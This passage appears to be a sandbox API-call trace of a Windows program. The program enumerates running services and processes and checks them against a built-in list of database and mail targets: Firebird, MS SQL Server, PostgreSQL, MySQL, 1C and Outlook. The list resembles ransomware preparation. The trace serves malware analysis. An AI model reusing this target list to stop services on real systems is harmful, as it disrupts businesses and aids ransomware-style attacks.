lpString2="lmhosts") returned 1 [0256.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0256.559] lstrlenW (lpString="MMCSS") returned 5 [0256.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0256.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0256.560] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0256.560] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0256.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0256.560] lstrlenW (lpString="MpsSvc") returned 6 [0256.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0256.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0256.560] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0256.560] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0256.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0256.560] lstrlenW (lpString="Netman") returned 6 [0256.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0256.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0256.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0256.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0256.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0256.561] lstrlenW (lpString="netprofm") returned 8 [0256.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0256.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0256.561] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0256.561] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0256.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0256.561] lstrlenW (lpString="NlaSvc") returned 6 [0256.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0256.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0256.561] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0256.562] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0256.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0256.562] lstrlenW (lpString="nsi") returned 3 [0256.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0256.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0256.562] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0256.562] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0256.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0256.562] lstrlenW (lpString="PcaSvc") returned 6 [0256.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0256.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0256.562] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0256.563] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0256.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0256.563] lstrlenW (lpString="PlugPlay") returned 8 [0256.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0256.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0256.563] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0256.563] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0256.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0256.563] lstrlenW (lpString="Power") returned 5 [0256.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0256.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0256.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0256.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0256.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0256.564] lstrlenW (lpString="ProfSvc") returned 7 [0256.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0256.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0256.564] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0256.564] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0256.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0256.564] lstrlenW (lpString="RpcEptMapper") returned 12 [0256.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.565] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0256.565] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0256.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0256.565] lstrlenW (lpString="RpcSs") returned 5 [0256.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0256.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0256.565] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0256.565] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0256.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0256.565] lstrlenW (lpString="SamSs") returned 5 [0256.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0256.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0256.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0256.566] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0256.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0256.566] lstrlenW (lpString="Schedule") returned 8 [0256.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0256.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0256.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0256.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0256.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0256.566] lstrlenW (lpString="SENS") returned 4 [0256.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0256.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0256.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0256.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0256.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0256.567] lstrlenW (lpString="ShellHWDetection") returned 16 [0256.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.568] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0256.568] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0256.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0256.568] lstrlenW (lpString="Spooler") returned 7 [0256.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0256.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0256.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0256.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0256.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0256.568] lstrlenW (lpString="SysMain") returned 7 [0256.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0256.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0256.569] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0256.569] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0256.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0256.569] lstrlenW (lpString="Themes") returned 6 [0256.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0256.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0256.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0256.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0256.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0256.569] lstrlenW (lpString="TrkWks") returned 6 [0256.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0256.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0256.570] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0256.570] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0256.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0256.570] lstrlenW (lpString="UxSms") returned 5 [0256.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0256.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0256.570] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0256.570] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0256.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0256.570] lstrlenW (lpString="WdiServiceHost") returned 14 [0256.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0256.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0256.571] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0256.571] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0256.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0256.571] lstrlenW (lpString="WdiSystemHost") returned 13 [0256.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0256.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0256.571] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0256.571] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0256.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0256.571] lstrlenW (lpString="Winmgmt") returned 7 [0256.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0256.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0256.572] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0256.572] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0256.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0256.572] lstrlenW (lpString="WPDBusEnum") returned 10 [0256.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0256.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0256.572] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0256.572] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0256.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0256.572] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0256.573] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0256.579] Process32FirstW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.580] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.581] lstrlenW (lpString="System") returned 6 [0256.581] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0256.581] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0256.581] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0256.581] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0256.581] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0256.581] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0256.581] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0256.582] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.878] lstrlenW (lpString="smss.exe") returned 8 [0256.878] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0256.878] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0256.878] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0256.878] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0256.878] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0256.878] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0256.879] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0256.879] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.883] lstrlenW (lpString="csrss.exe") returned 9 [0256.884] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0256.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0256.884] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0256.884] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0256.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0256.884] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0256.884] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0256.884] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.885] lstrlenW (lpString="wininit.exe") returned 11 [0256.885] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0256.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0256.885] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0256.885] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0256.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0256.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0256.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0256.886] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.887] lstrlenW (lpString="csrss.exe") returned 9 [0256.887] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0256.887] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0256.887] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0256.887] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0256.887] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0256.887] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0256.887] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0256.887] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.888] lstrlenW (lpString="winlogon.exe") returned 12 [0256.888] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0256.888] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0256.888] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0256.888] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0256.889] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.890] lstrlenW (lpString="services.exe") returned 12 [0256.890] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.891] lstrlenW (lpString="lsass.exe") returned 9 [0256.891] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0256.892] lstrlenW (lpString="lsm.exe") returned 7 [0256.892] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.893] lstrlenW (lpString="svchost.exe") returned 11 [0256.893] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.894] lstrlenW (lpString="svchost.exe") returned 11 [0256.894] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.895] lstrlenW (lpString="svchost.exe") returned 11 [0256.895] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.896] lstrlenW (lpString="svchost.exe") returned 11 [0256.896] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.897] lstrlenW (lpString="svchost.exe") returned 11 [0256.897] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.898] lstrlenW (lpString="audiodg.exe") returned 11 [0256.899] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.900] lstrlenW (lpString="svchost.exe") returned 11 [0256.900] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.901] lstrlenW (lpString="explorer.exe") returned 12 [0256.901] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.902] lstrlenW (lpString="dwm.exe") returned 7 [0256.902] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.903] lstrlenW (lpString="svchost.exe") returned 11 [0256.903] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0256.904] lstrlenW (lpString="winhost.exe") returned 11 [0256.904] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.905] lstrlenW (lpString="spoolsv.exe") returned 11 [0256.905] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.906] lstrlenW (lpString="svchost.exe") returned 11 [0256.906] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0256.907] lstrlenW (lpString="taskhost.exe") returned 12 [0256.907] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0256.908] lstrlenW (lpString="reader_sl.exe") returned 13 [0256.908] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0256.909] lstrlenW (lpString="taskhost.exe") returned 12 [0256.909] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0256.911] CloseHandle (hObject=0x37c) returned 1 [0256.911] Sleep (dwMilliseconds=0x1f4) [0257.754] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e1a8 [0257.755] EnumServicesStatusExW (in: hSCManager=0x62e1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0257.755] GetLastError () returned 0xea [0257.755] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0257.755] EnumServicesStatusExW (in: hSCManager=0x62e1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0257.757] CloseServiceHandle (hSCObject=0x62e1a8) returned 1 [0257.757] lstrlenW (lpString="Appinfo") returned 7 [0257.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0257.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0257.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0257.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0257.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0257.758] lstrlenW 